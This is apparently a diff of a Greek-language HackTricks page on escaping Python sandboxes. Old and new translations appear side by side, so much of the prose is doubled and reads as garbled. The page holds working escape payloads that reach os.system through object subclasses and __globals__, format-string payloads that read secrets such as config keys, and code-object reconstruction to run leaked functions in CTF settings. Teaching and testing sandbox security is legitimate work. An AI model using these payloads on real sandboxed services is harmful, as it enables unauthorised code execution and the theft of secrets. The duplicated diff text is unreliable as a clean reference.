Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -550,9 +506,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Επιπλέον, μπορούμε ακόμα να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
Επιπλέον, θα μπορούσαμε ακόμη να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -571,9 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Επιπλέον, εάν πιστεύετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για την εκτέλεση εντολών**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -604,14 +556,13 @@ load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Αναδρομική Αναζήτηση των Builtins, Globals...
## Αναδρομική Αναζήτηση Builtins, Globals...
{% hint style="warning" %}
Αυτό είναι απλά **φοβερό**. Αν **ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο**, απλά χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
Αυτό είναι απλώς **καταπληκτικό**. Αν **ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο** απλώς χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -727,22 +678,20 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Μπορείτε να ελέγξετε την έξοδο αυτού του script σε αυτή τη σελίδα:
Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα:
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}
## Μορφή Συμβολοσειράς Python
## Python Format String
Εάν **στείλετε** μια **συμβολοσειρά** στο python που θα **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να έχετε πρόσβαση σε **εσωτερικές πληροφορίες του python**. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε globals ή builtins για παράδειγμα.
Αν **στείλετε** μια **αλφαριθμητική** σε python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **εσωτερικές πληροφορίες της python.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins για παράδειγμα.
{% hint style="info" %}
Ωστόσο, υπάρχει μια **περιορισμένη** δυνατότητα, μπορείτε μόνο να χρησιμοποιήσετε τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, μόνο να διαβάσετε πληροφορίες.\
_**Αν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, επικοινωνήστε μαζί μου.**_
Ωστόσο, υπάρχει μια **περιορισμός**, μπορείτε να χρησιμοποιήσετε μόνο τα σύμβολα `.[]`, οπότε **δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα**, μόνο να διαβάσετε πληροφορίες.\
_**Αν ξέρετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, παρακαλώ επικοινωνήστε μαζί μου.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -762,20 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε **να έχετε πρόσβαση σε γνωρίσματα** με τον κανονικό τρόπο με ένα **τελεία** όπως `people_obj.__init__` και στοιχεία **λεξικού** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Επίσης, μπορείτε να χρησιμοποιήσετε το `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο συγκεκριμένο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο υποδεικνυόμενο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Επιπλέον, είναι δυνατόν να **κωδικοποιήσετε νέους μορφοποιητές** σε κλάσεις:
Επιπλέον, είναι δυνατόν να **κωδικοποιηθούν νέοι μορφοποιητές** σε κλάσεις:
```python
class HAL9000(object):
def __format__(self, format):
@ -786,19 +731,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Περισσότερα παραδείγματα** σχετικά με παραδείγματα **μορφοποίησης** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα **διαβάσουν ευαίσθητες πληροφορίες από εσωτερικά αντικείμενα της Python**:
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Πληροφορίες Αποκάλυψης Ευαίσθητων Δεδομένων
### Payloads Ευαίσθητης Πληροφορίας
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -809,17 +752,15 @@ return 'HAL 9000'
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
## Ανάλυση Αντικειμένων Python
{% hint style="info" %}
Αν θέλετε να **μάθετε** για τον **κώδικα bytecode της Python** λεπτομερώς, διαβάστε αυτήν την **εκπληκτική** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Αν θέλετε να **μάθετε** για τον **bytecode της python** σε βάθος, διαβάστε αυτή την **καταπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και χρειάζεται να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξάγετε.
Σε ορισμένα CTFs μπορεί να σας δοθεί το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγετε.
Αυτή είναι η συνάρτηση προς επιθεώρηση:
```python
def get_flag(some_input):
var1=1
@ -830,20 +771,16 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
#### globals
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγμένα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγόμενα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
```python
get_flag.func_globals
get_flag.__globals__
@ -852,13 +789,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Δείτε εδώ περισσότερα μέρη για να αποκτήσετε τα globals**](./#globals-and-locals)
[**Δείτε εδώ περισσότερες τοποθεσίες για να αποκτήσετε globals**](./#globals-and-locals)
### **Πρόσβαση στον κώδικα της συνάρτησης**
**`__code__`** και `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
**`__code__`** και `func_code`: Μπορείτε να **πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
```python
# In our current example
get_flag.__code__
@ -872,9 +807,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Λήψη Πληροφοριών Κώδικα
```python
# Another example
s = '''
@ -920,9 +853,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Αποσυναρμολόγηση μιας συνάρτησης**
```python
import dis
dis.dis(get_flag)
@ -950,9 +881,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Σημείωσε ότι αν δεν μπορείς να εισάγεις το `dis` στο περιβάλλον Python, μπορείς να αποκτήσεις το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσεις** τοπικά. Δεν θα δεις το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείς να τις μαντέψεις από το (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στην python sandbox** μπορείτε να αποκτήσετε τον **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να την **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τις μαντέψετε από (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` λέει επίσης την απόσταση της μεταβλητής που φορτώνεται.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -974,12 +903,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Συγκέντρωση Python
## Συλλογή Python
Τώρα, ας φανταστούμε ότι μπορείτε **να ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να την **εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, **μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν **ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο πολύπλοκη συνάρτηση `calc_flag`_)
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκφορτώσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -992,11 +919,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Δημιουργία του αντικειμένου κώδικα
Καταρχάς, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας leaked:
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -1015,10 +940,8 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Ανάλογα με την έκδοση της Python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση της Python που χρησιμοποιείτε είναι να εκτελέσετε:
Ανάλογα με την έκδοση python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε:
```
import types
types.CodeType.__doc__
@ -1026,12 +949,11 @@ types.CodeType.__doc__
```
{% endhint %}
### Αναπαραγωγή μιας διαρρευσμένης συνάρτησης
### Αναδημιουργία μιας διαρρεύσουσας συνάρτησης
{% hint style="warning" %}
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για την αναπαραγωγή της συνάρτησης απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτό που **θα χρειαστείτε να διαρρεύσετε**.
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**.
{% endhint %}
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -1042,14 +964,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
### Αντιστροφή Αμυνών
Στα προηγούμενα παραδείγματα στην αρχή αυτής της ανάρτησης, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε κώδικα Python χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον επειδή μπορείτε **να εκτελέσετε ολόκληρα σενάρια** με βρόχους και τα πάντα σε μια **γραμμή κώδικα** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας το **`exec`**).\
Πάντως, μερικές φορές θα μπορούσε να είναι χρήσιμο να **δημιουργήσετε** ένα **μεταγλωττισμένο αντικείμενο** σε ένα τοπικό μηχάνημα και να το εκτελέσετε στο **μηχάνημα CTF** (για παράδειγμα επειδή δεν έχουμε τη λειτουργία `compile` στο CTF).
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει το _./poc.py_:
In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
@ -1076,9 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κανονική συνάρτηση**, αλλά η κλήση της απευθείας συνήθως αποτυγχάνει με: _constructor not accessible in restricted mode_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσετε αυτήν τη συνάρτηση.**
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο περιβάλλον_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1086,12 +1004,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Αποσυμπίεση Συμπιεσμένου Python
## Αποσυναρμολόγηση Μεταγλωττισμένου Python
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυμπιέσει** τον δεδομένο συμπιεσμένο κώδικα python.
Χρησιμοποιώντας εργαλεία όπως το [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυναρμολογήσει** δοσμένο μεταγλωττισμένο κώδικα Python.
**Δείτε αυτό το εκπαιδευτικό υλικό**:
**Δείτε αυτό το σεμινάριο**:
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -1101,9 +1018,8 @@ f(42)
### Assert
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
Επομένως, ελέγχοι όπως
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους στην τιμή του **debug**.\
Επομένως, οι έλεγχοι όπως
```python
def check_permission(super_user):
try:
@ -1112,6 +1028,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
θα παρακαμφθεί
## Αναφορές
@ -1124,20 +1041,21 @@ print(f"\nNot a Super User!!!\n")
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
